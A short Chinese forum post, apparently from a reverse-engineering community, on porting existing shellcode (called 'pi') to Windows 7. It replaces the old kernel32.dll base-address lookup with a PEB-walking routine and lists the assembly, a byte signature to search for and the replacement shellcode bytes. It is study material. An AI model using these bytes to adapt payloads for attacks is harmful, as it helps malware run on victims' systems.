pi的shellcode在win7下无法正常运行，正好前段时间在网上看到一篇关于win7下shellcode编写的文章，提到了kernel32.dll地址的查找问题，所以就实践了一下，全当加深理解，大牛飘过
   思路很简单因为以前查找kernel32.dll的地址方法在win7下失效，所以用新的代码替换之。
  简单介绍一下两种查找kernel32.dll的方法。
  老方法：
find kernel32.dll
find_kernel32:
push esi
xor eax, eax
mov eax, [fs:eax+0x30]
test eax, eax
js find_kernel32_9x ;win9x or nt
find_kernel32_nt:
mov eax, [eax + 0x0c]
mov esi, [eax + 0x1c]
lodsd
mov eax, [eax + 0x8]
jmp find_kernel32_finished
find_kernel32_9x:
mov eax, [eax + 0x34]
lea eax, [eax + 0x7c]
mov eax, [eax + 0x3c]
find_kernel32_finished:
pop esi
ret
具体什么原理就不多言了，详细请看《Win 7下定位kernel32.dll基址及shellcode编写》http://bbs.pediy.com/showthread.php?t=122260，这个方法在win7上无效
新的方法：
00401000 51 push ecx
00401001 56 push esi
00401002 57 push edi
00401003 33C9 xor ecx,ecx
00401005 64:8B71 30 mov esi,dword ptr fs:[ecx+30]
00401009 8B76 0C mov esi,dword ptr ds:[esi+C]
0040100C 8B76 1C mov esi,dword ptr ds:[esi+1C]
0040100F 8B46 08 mov eax,dword ptr ds:[esi+8]
00401012 8B7E 20 mov edi,dword ptr ds:[esi+20]
00401015 8B36 mov esi,dword ptr ds:[esi]
00401017 66:394F 18 cmp word ptr ds:[edi+18],cx
0040101B ^ 75 F2 jnz short KrnlBase.0040100F
0040101D 5F pop edi
0040101E 5E pop esi
0040101F 59 pop ecx
00401020 C3 retn
这个方法是通用版本，呵呵，所以xp，win7通吃。
下面就是查找了：
有两个思路
第一就是直接在shellcode里面搜索代码
0xF6, 0x5F, 0x64, 0xA1, 0x30, 0x00, 0x00, 0x00, 0x8B, 0x40, 0x0C, 0x8B, 0x70, 0x1C, 0xAD, 0xFF, 0x70, 0x08
然后修改之。
第二呢就是od跟踪，两个方法都可以，殊途同归啊，不过思路还是很重要的，多多益善。
顺利查找到代码后就是改代码了，用新的代码替换老的。
0xe8, 0xdd, 0x04, 0x00, 0x00, 0x50, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90 红色部分需要修改因为shellcode的长度不同，会影响它的值，这个值大概就是与新代码的距离。
新的shellcode  0x51, 0x56, 0x57, 0x33, 0xc9,0x64, 0x8B,0x71, 0x30, 0x8B, 0x76,0x0C, 0x8B, 0x76, 0x1C, 0x8B, 0x46, 0x08, 0x8B, 0x7E, 0x20, 0x8B, 0x36, 0x66, 0x39,0x4F, 0x18, 0x75, 0xF2, 0x5f,0x5e,  0x59, 0xc3
修改好后，运行程序，成功！

[注意]传递专业知识、拓宽行业人脉——看雪讲师团队等你加入！